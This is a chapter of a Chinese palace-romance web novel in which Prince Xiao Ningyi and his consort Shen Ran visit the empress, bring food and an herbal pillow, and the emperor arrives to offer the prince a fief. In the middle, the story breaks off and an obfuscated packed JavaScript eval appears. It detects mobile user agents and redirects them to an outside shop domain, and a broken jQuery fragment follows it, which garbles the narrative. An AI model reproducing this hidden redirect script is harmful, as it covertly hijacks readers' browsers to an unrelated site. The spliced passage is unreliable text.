二人酒足饭饱后闹累了又滚在一处睡着了。
沈然喝醉了说要去偏房睡,萧宁弈也喝醉了,死活不准备沈然离开,弄得又哭又闹,沈然实在是拧不过就只好由着他了。
不过睡着之后萧宁弈还算挺老实的,没有其他逾越的举动,二人算是这样第一次大被同寝,非常单纯的兄弟情谊。
翌日,长春宫。
皇后早早就让小厨房准备好了栗子糕,吩咐身边的宫女秋鸿一遍又一遍去长春宫的门口看宁王是否来了。
“娘娘您歇会儿吧,这才辰时,殿下和王妃进宫还早呢。”
“唉,我倒是不累,自从弈儿上次重病后我都有五六年没见过他了,你说我能不着急嘛。”
“您就放心吧,我已经叫春喜去宫门外守着了,这次殿下能逢凶化吉也是托了娘娘的福。”
“是这孩子自己的福气,这孩子打小就命苦,这也是我和他的母子缘分。”
二人正说着,就听到宫门外有一个春喜来报,“娘娘,殿下和王妃到了。”
“春喜,你说的都是真的吗?”
皇后娘娘闻言从正厅出来。
春喜跑到跟前停步,跪下回话:“回娘娘,奴婢看到殿下已经和王妃朝着长春宫这边来了,想必是还未见过皇上直接过来的。”
“奴婢就说,五殿下是个孝顺的孩子,辰时还没过就到了长春宫,今日肯定是宵禁一过就进宫了。”
“快快,告诉小厨房可以传膳了。”皇后娘娘连忙吩咐,一边往长春宫的门口走去。
“娘娘您慢点儿。”宫女秋鸿担忧道。
刚到长春宫的门口,就看到了萧宁弈和沈然二人远远走来,春喜说道:“殿下大病初愈,看起来倒是红光满面,身体不错,一手提着食盒,一手提着一个锦盒都不带喘气,娘娘我看殿下这次是真完全好了。”
皇后眼里都是心疼,眼神也落在了一旁的沈然身上:“这王妃虽然双手空空,但看起来有些疲惫,身子单薄,样貌也是京城贵女中一等一的,就是不知道人品如何。”
秋鸿道:“想必也是人品样貌出众,你看殿下那没在意的人,殿下的眼光一向错不了,奴婢看来就是天生一对的金童玉女。”
皇后脸上虽平静,心里是认可的。
“不管怎么说,也是新王妃进府后弈儿才好起来的,于情于理她都值得弈儿对她尊敬。”
说话间,萧宁弈二人已经到了跟前。
两人给皇后行礼,“儿臣见过皇额娘。”
“快起来。”皇后抬手示意二人起身。
宫女去接萧宁弈手中的物品:“殿下,给我吧。”
萧宁弈一边递过去,一边介绍带来的东西: “这些都是然儿给皇额娘准备的礼物,这个食盒里装的是然儿给母妃准备的甜品,叫红豆双皮奶,这个是然儿亲手制作的艾草菊花枕头。”
“好好,快进来,这大冷天的别在外面站着了,额娘让宫人烧足了炭盆,快进去暖暖身子。”皇后娘娘对这些东西很是满意,一众的宫人就拥着萧宁弈和沈然进了长春宫。
一众人坐下,这长春宫的华丽果然超过了沈然的想象。
这一对比起来,沈然就明白了宁王府是多寒酸,萧宁弈到底是有不受宠,哪怕你是皇子,只要看你没有希望了,也不愿意在你身上多投入一分。
好在萧宁弈现在好起来了,目前来看皇后娘娘虽然不是萧宁弈的生母,但是从小养在皇后娘娘膝下,皇后娘娘是目前可以拿出的第一张牌。
她爹沈轸那边,自然会无条件支持,看似无人问津的宁王,如今也算是有了两张大的底牌。
想到这,沈然赶紧让皇后娘娘坐下。
“皇额娘快尝尝儿臣做的这个红豆冰酥酪,我听王爷说了,皇额娘一直食欲不佳,儿臣刚好喜欢做些小吃食,就做了来给您尝尝。”
“难得你有这份孝心,难怪弈儿那么看重你。”皇后娘娘非常满意沈然,接过来尝了一口,连连赞赏。
“这是什么做的,怎么比御厨做的冰酥酪还要清甜,加上红豆绵密的口感,清爽又醇厚。”
不一会儿,皇后把一碗的红豆冰酥酪就吃完了。
“这一碗下去胃口也开了,本宫好久没有这么想吃东西了。”
“这真是太好了,以后儿臣再给皇额娘做来。”
“还有这个,听王爷说皇额娘总是容易头疼、睡不好,是儿臣用上好的金钱菊的菊花和艾草烘干后做成的中药枕头,艾草性温,具有独特的香气,可以舒缓神经、安神助眠,还能疏通筋络缓解疼痛,菊花呢是清肝明目的,还能清热疏风,对头痛有一定的缓解功效。不过皇额娘凤体尊贵,还是请太医看过后,看皇额娘是否能用稳妥些。”
皇后听得沈然这般说,觉得这孩子不仅有孝心,还心思细腻,做事周到,便道: “王妃有心了,只是哀家没想到宁王妃还懂医术,这真是让本宫惊喜,去,把李太医请来。”
不一会儿李太医便到了,先是看了沈然制作的中药枕,说确实是艾草和菊花,又说了艾草和菊花的功效,和沈然说的一致,并且符合皇后娘娘现在的情况,是可以放心使用的。
皇后娘娘对沈然更是满意了。
原本萧宁弈还想说他的并都是沈然治好的,被沈然按下了,没让萧宁弈说。
皇后对那个中草药的枕头很是满意,深呼吸了一口气,“确实都是艾草和菊花的清香,整个人都感觉呼吸舒畅了许多,秋鸿,把这枕头放到哀家的寝殿,今晚哀家要试试这个枕头的效果。”
转头又对李太医说: “李太医,既然请你来了顺便也给宁王看看。”
李太医给宁王仔细把了脉,大家都在等着李太医的诊断。
这宁王之前病重,突然就好了,皇后的心里总是有些不放心的。
李太医也怕出错,前前后后把了一炷香,确定无误,这才回话:“回皇后娘娘,回宁王殿下,宁王殿下的身体非常健康,脉搏强劲,好得不似大病初愈,这简直太神奇了,行医多年第一次遇到这种神奇的情况,或许民间传说自有一定的道理,宁王殿下还有大福气在后头。”
“太好了,皇额娘就一直担心你的身体。”皇后娘娘轻轻示意,秋鸿就端来一盘金瓜子。
李太医连忙跪下谢恩:“这太贵重了,为宫中贵人诊治本来就是下官职责。”
皇后娘娘也高兴道:“李太医,今日殿下康复是个好日子,这大冷天的劳烦您走这一趟,您就收下也沾沾喜。”
李太医这才放心收下谢恩:“谢皇后娘娘恩典,下官告退。”
这时早膳已经摆好,一众的人又移步到了花厅用膳。
确定了宁王身体无碍之后,阴郁一扫而空,是轻松的和谐的气氛,皇后娘娘亲自给沈然夹了一块栗子糕,沈然有些受宠若惊,赶紧上前接住。
还是萧宁弈及时在她耳边说:“放心,皇额娘这是喜欢你。”
“你是我弈儿的福星,这栗子糕是我亲手做的,你值得吃,当然,你这栗子糕可不是白吃的。”
此话一出,沈然的心都吊到了嗓子眼。
皇后娘娘话锋一转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788289|210257||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“早点让皇额娘抱上孙子。”
惹得花厅内阵的欢笑,倒是沈然一下子脸红了。
萧宁弈看出来沈然害羞,便替她说话:“皇额娘你也知道的,抱皇孙这事不能怪她。”
皇后娘娘闻言正色道:“那自然是不能怪她,所以你要给我努点力,用点心!”
这回轮到沈然笑话萧宁弈了。
萧宁弈双手一抱拳:“儿臣遵命。”
正是热闹中,听到外面传来一个中气十足,不怒自威的声音:“你们聊什么这么开心呢?”
一句话让一桌人纷纷下跪迎接,皇后道:“不知皇上驾到,臣妾有失远迎。方才我们在说让弈儿早点让我抱上皇孙呢。”
萧宁弈和沈然跪在后排,沈然的脸更红了,但在这冬天也不知道是不是冻红的。
皇上抬手示意起身。
皇后这才说道:“这些下人是怎么回事,怎么皇上来了也没个通报,一会儿臣妾就惩罚他们,真是越来越没规矩了。”
“哎,不怪他们,是朕在外面听到你们其乐融融的,不忍心打扰,就没让他们通报。”
这就是皇上萧文渊,根据系统提供的信息,很难判定他是贤明君主还是一个独断专制的暴君,这个人非常复杂。
独特的君王之气,是对平民的天然压制,让沈然双腿发软。
皇上的目光很快就落到这里的主角沈然身上,因为她是这一切奇迹的关键。
“你就是宁王妃,沈将军之女?”
这似乎在问,其实是在确认。
沈然吞了一下唾沫,鼓足了勇气,尽量让自己不那么紧张,努力让自己的声音平稳清晰:“回皇上,正是儿臣。”
萧文渊感叹道:“沈轸养了一个好女儿啊,只可惜了。”
后半截没说完,但是沈然已然了解,肯定是因为今天父亲来找皇上说周氏的事情。
皇上突然笑着说: “不说了,你们都在吃什么好吃的,孤正好也没用膳。”
“快,给皇上另拿一副碗筷,再让小厨房再添两个菜来。”皇后这里许久不接待皇上,自从宁王病危之后,皇上就没来过了,本来皇上膝下子嗣就单薄,如今宁王好了,皇上单独来一趟,目的肯定没有那么简单。
这是皇上要重用宁王了。
萧文渊突然感慨起来: “方才在外面听到你们有说有笑的,朕豪生羡慕,觉得这寻常百姓家的儿孙绕膝之乐也就是这样吧,虽然朕是皇上,但也是一个父亲。宁王的身体如今怎么样?请太医看过没有?”
皇后回:“方才已经请李太医来看过了,说弈儿已经完全康复了,连李太医都无法说清楚,真真是神迹,或许是祖宗保佑我大启,可怜我弈儿。”
萧宁弈垂着头聆听教诲,这样子让萧文渊很是满意。
“那就好,看来民间传说确实是有一定的道理,并非空穴来风,这也是你命中的福气。”
萧宁弈恭敬的,一板一眼地回答:“父皇说得是。”
“循例我大启皇子在成年后都有自己的封地,你从小身体病弱,一直在宫中养病,成年后也在京城养病,现如今病好了,媳妇也娶了,是该给你一个封地了,你想好了要那块封地没有?”
萧宁弈依旧低头恭敬回答:“儿臣听从父皇安排。”
“让你选你就选,不必拘着。” 萧文渊对自己这个儿子越发满意,以前一直病者,也没注意到这个儿子。
萧宁弈抬眼看了皇后,皇后娘娘示意他大胆说,萧宁弈这才这才道:“如果可以,儿臣想选禺山。”